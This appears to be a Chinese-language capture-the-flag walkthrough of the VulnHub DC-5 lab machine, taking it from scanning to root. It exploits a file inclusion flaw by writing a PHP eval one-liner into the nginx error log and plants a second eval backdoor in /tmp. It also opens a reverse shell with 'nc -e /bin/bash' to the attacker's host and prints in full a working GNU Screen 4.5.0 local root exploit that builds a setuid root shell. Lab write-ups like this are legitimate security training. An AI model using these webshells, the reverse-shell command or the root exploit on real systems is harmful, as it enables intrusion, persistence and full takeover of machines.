文章目录
DC-5
环境准备
靶机下载地址:https://www.vulnhub.com/entry/dc-5,314/
攻击机:kali(192.168.58.130)
靶机:DC-5(192.168.58.148)
下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式
信息收集
扫描靶机的IP地址
查看本机地址确定靶机网段
┌──(root💀kali)-[~]
└─# ifconfig eth0
扫描该网段存活的主机
┌──(root💀kali)-[~]
└─# nmap -sP 192.168.67.0/24
扫描开放的端口
┌──(root💀kali)-[~]
└─# nmap -sV 192.168.67.31
开放端口:80、111
web容器:nginx 1.6.2
浏览器访问目标靶机80端口
访问80端口
就只是一些文字,没有啥可利用的位置,只用contact页面能填写东西,随便写点啥提交上去看看
发现也没啥可利用的,但是发现有一个细节,这个页面只要刷新下面的年份也会跟着变
http://192.168.67.31/thankyou.php?firstname=&lastname=&country=australia&subject=
猜测这里可能含有一个文件包含漏洞,使用御剑扫描查看网站结构目录
发现有一个url为http://192.168.67.31/footer.php
,查看发现就是这个页面控制着年份改变
所以肯定是包含了这个页面,输入urlhttp://192.168.67.31/thankyou.php?file=
发现底部缺少了年份
验证了我们的猜想,但是这里不确定是否过滤了其他文件
文件包含漏洞
渗透过程
前面通过信息收集怀疑存在包含漏洞,使用burpsuite抓包
将footer.php改为密码文件/etc/passwd试试
成功执行,说明确实存在文件包含漏洞,所以现在需要想办法将一句话木马写进去
向日志中写入一句话木马
前面信息收集发现网站web容器为nginx,nginx的错误日志文件路径一般为/var/log/nginx/error.log
写入一句话GET /thankyou.php?file=<?php eval($_REQUEST["tedu"]);?>
利用文件包含漏洞查看是否写入成功
http://192.168.67.31/thankyou.php?file=/var/log/nginx/error.log
发现一句话木马已写入错误日志中
使用蚁剑连接webshell
成功连上靶机系统
打开虚拟终端,发现权限较低,开始提权
在 /tmp下新建文件 一句话木马(留个后门)
在服务器/tmp目录下新建一个shell.php文件,写入一句话木马
<?php
@eval($_REQUEST[666]);
?>
使用蚁剑虚拟终端反弹shell到kali
在kali开启监听
┌──(root💀kali)-[~]
└─# nc -lvvp 1234
listening on [any] 1234 ...
使用蚁剑虚拟终端反弹shell到kali
(www-data:/var/www/html) $ nc -e /bin/bash 192.168.67.5 1234
{"code":"ECONNABORTED","timeout":5000}
kali处显示有连接过来
提权
切换到交互式状态
python -c 'import pty;pty.spawn("/bin/bash")'
┌──(root💀kali)-[~]
└─# nc -lvvp 1234
listening on [any] 1234 ...
192.168.67.31: inverse host lookup failed: Unknown host
connect to [192.168.67.5] from (UNKNOWN) [192.168.67.31] 48287
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@dc-5:~/html$
查找设置了SUID的文件
www-data@dc-5:~/html$ find / -perm -u=s -type f 2>/dev/null
查看screen-4.5.0存在的漏洞
┌──(root💀kali)-[~]
└─# searchsploit screen 4.5.0
------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------- ---------------------------------
GNU Screen 4.5.0 - Local Privilege Escalat | linux/local/41152.txt
GNU Screen 4.5.0 - Local Privilege Escalat | linux/local/41154.sh
------------------------------------------- ---------------------------------
Shellcodes: No Results
查看screen-4.5.0存在的漏洞
/usr/share/exploitdb/exploits/linux/local/41152.txt
/usr/share/exploitdb/exploits/linux/local/41154.sh
将攻击脚本文件复制到当前目录
查看文件内容
┌──(root💀kali)-[~]
└─# cat /root/41154.sh
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
将41154.sh中上面一部分c语言代码另存为libhax.c,如图-50所示,并编译,编译命令gcc -fPIC -shared -ldl -o libhax.so libhax.c
┌──(root💀kali)-[~]
└─# gcc -fPIC -shared -ldl -o libhax.so libhax.c
将41154.sh中下面一部分c语言代码另存为rootshell.c,如图-51所示,并编译,编译命令gcc -o rootshell rootshell.c
┌──(root💀kali)-[~]
└─# gcc -o rootshell rootshell.c
将41154.sh中剩下部分代码另存为dc5.sh脚本文件,如图-52所示,并在保存dc5.sh文件之前输入 :set ff=unix
将编译过后生成的libhax.so、rootshell和 dc5.sh三个文件复制到DC-5靶机的/tmp目录下,在kali交互模式下进入/tmp,为dc5.sh添加执行权限并运行dc5.sh,发现提权成功,如图-53所示。
获取到flag
进入到/root目录,查看文件thisisthefalg.txt